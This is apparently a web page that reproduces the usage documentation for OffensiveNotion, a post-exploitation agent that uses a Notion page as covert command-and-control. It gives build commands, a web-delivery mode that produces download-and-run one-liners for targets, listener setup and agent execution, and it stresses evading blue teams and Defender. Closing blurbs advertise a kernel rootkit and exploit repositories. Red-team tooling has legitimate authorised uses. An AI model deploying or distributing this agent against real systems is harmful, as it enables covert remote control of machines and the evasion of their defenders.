OffensiveNotion combines the capabilities of a post-exploitation agent with the power and comfort of the Notion notetaking application. The agent sends data to and receives commands from your Notion page. Your C2 traffic blends right in as the agent receives instructions and posts results via the Notion developer API. And when your blue team looks for evidence of shenanigans, none will be the wiser.
Quickstart
How do I get this thing working so I can see what it can do?
New integration
). Copy that user’s API key.-d
) and input the values for each prompt.husky@ubuntu:~/Desktop/OffensiveNotion/bin/linux_debug/debug$ ./offensive_notion -d
[] Starting! Getting config options! [] Enter agent sleep interval > 5
[] Enter agent jitter time > 0 [] Enter parent page id > […your parent page ID..]
[] Enter API Key > […your API key…] [] Enter Config File Path >
[leave blank]
[*] Enter Log Level (1-4) >
2
/todo
in the Notion app), enter shell whoami 🎯
, and watch the magic unfold.The best way to build the OffensiveNotion agent with your own custom configurations is with Docker and the main.py
script. This acts as the turn-key point for the entire operation.
With two Docker commands, you can build the container that compiles the agent, set all of its configs in the source code, compile it, and have it available on your physical host. Then, you can run the commands again and change the configs if you want.
This works best on Linux. You’ll need Docker, of course. Once you have Docker installed, clone the repo and change dirs into the repo.
To build the container:
$ sudo docker image build -t offensivenotion .
Use this Docker run command as a base:
$ sudo docker rm -f offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o linux -b release
…where:
sudo docker rm -f offensivenotion
removes any running instance of the container.-v $(pwd):/out
maps the OffensiveNotion repo on the host to the /out
directory in the container. tl;dr: your agent will be there when it is done compiling.-o linux -b release
is the set of build script arguments.Everything after -it offensivenotion
is an argument to the main.py
script. What’s the main.py
script, you say?
main.py
This script is the entrypoint of the container and handles everything you need to make an OffensiveNotion agent. It reads in the type of agent you want to make (Linux, Windows, or macOS), sets the configs in the source code, compiles the agent, and resets the source code for you.
It can also do some fun stuff like Web Delivery and a C2 check. More on these later.
Check out the full usage of main.py
to see your options:
python3 main.py -h
usage: main.py [-h] [-o {linux,windows,macos}] [-b {debug,release}] [-c] [-w]
[-m {powershell,wget-linux,wget-psh,python-linux,python-windows}] [-ip HOSTIP] [-p PORT]
OffensiveNotion Setup. Must be run as root. Generates the OffensiveNotion agent in a container.
optional arguments:
-h, –help show this help message and exit
-o {linux,windows,macos}, –os {linux,windows,macos}
Target OS
-b {debug,release}, –build {debug,release}
Binary build
-c, –c2lint C2 linter. Checks your C2 config by creating a test page on your Listener.
-w, –webdelivery Start a web delivery server to host and deliver your agent. Provides convenient one liners to run on the
target.
-m {powershell,wget-linux,wget-psh,python-linux,python-windows}, –method {powershell,wget-linux,wget-psh,python-linux,python-windows}
Method of web delivery
-ip HOSTIP, –hostIP HOSTIP
Web server host IP.
-p PORT, –port PORT Web server host port.
The only two arguments that are required are -o
, for the OS, and -b
, for the build (debug or release). The additional arguments are covered in the Misc section.
If you do not pass in the build and OS arguments, it defaults to a Linux debug agent.
Once the script is running, follow the prompts to perform the installation. You’ll input your API key and parent page ID. More information on these can be found in the next section, Setup.
At the end, you’ll have an agent in the main directory of the repo.
$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion
I want to make a Windows release agent:
$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o windows -b release
I wanna try out that cool macOS agent everyone is talking about, release build:
$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o macos -b release
I want to build a Linux release agent and check to make sure my API key and parent page are good:
$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o linux -b release –c2llint
(Beast of a command incoming)
$ sudo docker rm -f offensivenotion && sudo docker container run -p 80:80 -v $(pwd):/out -it –name offensivenotion offensivenotion -o windows -b release -w -ip 10.10.1.237 –port 80 -m powershell
(let’s break it down)
…where:
sudo docker rm -f offensivenotion
removes any running instance of the container.sudo docker container run
starts a container.-p 80:80
publishes the port of the container and forwards it to the physical host. Make sure this matches the --port
argument from the last part of this command.-v $(pwd):/out
mounts the current working directory on the host as a volume on the container. Your config.json
and payload are moved here so they end up on your physical host in case you want to reuse them.-it --name offensivenotion offensivenotion
: Put me in an interactive terminal in the container (required to interact with main.py
), call the container offensivenotion, use the offensivenotion image that we built earlier.-o windows -b release -w -ip 10.10.1.237 --port 80 -m powershell
: Everything in here is an argument for main.py
, which you can find in the main.py usage (see above). In this case, make a windows release payload, turn web delivery on, use this IP address and this port for the download cradle, and use PowerShell to create the one-liner.Setup
The Notion API uses special API accounts that can be added to pages. This creates a two-way trust that only allows a specific API user account with a specific API key to access a specific page. The OPSEC here is great!
First, head to https://developers.notion.com/ and log in with your regular Notion account.
Next, click on “My integrations” in the upper-right corner:
The “listener” is just a page in a Notion notebook. But you can set it up to catch the callbacks for your agents:
Create your listener page. Add a new page to Notion, preferably in a notebook that’s not being used for anything else:
Copy the URL of your page down. If you’re in the web browser Notion client, this can be taken from the URL of the page. In the desktop app, enter ctl-l to copy it to your clipboard.
If your listener URL is:
https://www.notion.so/LISTENER-11223344556677889900112233445566
… then your parent page ID is the number after the name of the listener. In this case, it is 11223344556677889900112233445566
. This value is used to connect your agent to your listener, so keep track of it!
You are now ready to run the agent!
Build From Source
The best way to make an operational agent is with Docker and main.py
. This process is covered in the Quickstart guide. But if you would rather build the agent from source, you can do that, too.
If you’re building from source, we recommend using a Linux host to build the agent to simplify the process.
On Linux/macOS, you can run:
$ curl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh
Download the OffensiveNotion repository and change to the agent/
directory.
Cargo uses what are known as “target triples” to indicate what platform to compile to. To see which ones you have installed, run rustup target list
.
The native target (Linux on Linux, Windows on Windows, macOS on macOS) will work without additional configuration. We’ll discuss cross-compilation in a later section.
In addition to target triples, you can build either a debug
or release
target. debug
is appropriate for testing, but release
should be the only build deployed during engagements.
From the agent/
directory, run:
$ cargo build [–release]
… to build the Linux debug or release agent.
The agent is built in the target/
subdirectory.
We recommend compiling to Windows from Linux because honestly, it works better. Plus, you have more control over the samples getting submitted to Defender.
Install the Windows toolchain:
MingW tools to build Windows apps on Linux
apt install -y mingw-w64
rustup toolchain install stable-x86_64-pc-windows-gnu
…and build the agent:
$ cargo build –target x86_64-pc-windows-gnu [–release]
The agent is built in the target/x86_64-pc-windows-gnu/
subdirectory.
Building natively on macOS is fairly straightforward. As above, follow these steps:
cd
to the agent
directory.Now, before running cargo build
, you’ll need to make sure the XCode command line tools are installed. If you’ve already set up XCode before, you’re set. Otherwise, run the following in a Terminal:
xcode-select –install
The necessary tools (clang
, etc.) are now ready to use. You can now run cargo build --release
. The result will be in the target/release/
directory inside of agent
.
It is in fact possible to cross-compile from Linux to macOS. This blog post contains the additional instructions necessary to do so. A few gotchas:
linker
and ar
options are in agent/.cargo/config
. Currently, the .cargo
folder doesn’t exist.CARGO_TARGET_x86_64_APPLE_DARWIN_LINKER=x86_64-apple-dawrin14-clang CARGO_TARGET_x86_64_APPLE_DARWIN_AR=x86_64_apple-darwin14-ar cargo build --release --target x86_64-apple-darwin
bin
folder to the front of your $PATH
.Executing the Agent
The compiled agent can be run with a few different arguments. There is no help menu for the compiled agent, so please reference the following for its possible parameters:
If the agent has been compiled with default values for its parameters (i.e. by setting it up with main.py
), those values are used by the agent when running with no arguments. This is the most OPSEC safe way to execute the agent. See the Quickstart guide and main.py
for more information.
If the agent has not been compiled with default values for parameters, it will attempt to locate cfg.json
in the current working directory. If this file is present, it will run with those parameters.
If there is no cfg.json
file available in this case, the agent will exit without establishing a connection.
-d
: Debug mode.Allows you to input each agent parameter via the CLI. Recommended for debugging and testing. Not recommended for operations.
Example:
$ ./offensive_notion -d
[] Starting! Getting config options! [] Enter agent sleep interval > 5
[] Enter agent jitter time > 3 [] Enter parent page id > [….parent page ID….]
[] Enter API Key > […API key…] [] Enter Config File Path >
[*] Enter Log Level (1-4) >
5
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID…]”, api_key: “[…API key…]”, config_file_path: “”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz: 5 seconds
-b
: Base64 encoded configAllows a base64 encoded version of the configuration options to be passed at execution.
Example:
$ ./offensive_notion -b eyJzbGVlcF9pbnRlcnZhbCI6NSwiaml0dGVyX3RpbWUiOjMsInBhcmVudF9wYWdlX2lkIjoiWy4uLi4gcGFyZW50IHBhZ2UgSUQuLi5dIiwiYXBpX2tleSI6IlsuLi4uc2VjcmV0IGtleS4uLl0iLCJjb25maWdfZmlsZV9wYXRoIjoiY2ZnLmpzb24iLCJsYXVuY2hfYXBwIjpmYWxzZSwibG9nX2xldmVsIjo1fQ==
[*] Starting!
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID…]”, api_key: “[…API key…]”, config_file_path: “”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz: 5 seconds
-c
: Config filePasses a config file path to the agent to pull configurations.
Example:
$ cat cfg.json
{“sleep_interval”:5,”jitter_time”:3,”parent_page_id”:”[…parent page ID…]”,”api_key”:”[…APi key…]”,”config_file_path”:”cfg.json”,”launch_app”:false,”log_level”:5}
$ ./offensive_notion -c cfg.json
[*] Starting!
Object({“api_key”: String(“[….API key…..]”), “config_file_path”: String(“cfg.json”), “jitter_time”: Number(3), “launch_app”: Bool(false), “log_level”: Number(5), “parent_page_id”: String(“[…parent page ID…]”), “sleep_interval”: Number(5)})
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID….]”, api_key: “[…API key….]”, config_file_path: “cfg.json”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz: 5 seconds
shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…
Extract and execute a PE embedded within a PNG file using an LNK file. The…
Embark on the journey of becoming a certified Red Team professional with our definitive guide.…
This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…
This took me like 4 days (+2 days for an update), but I got it…
MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…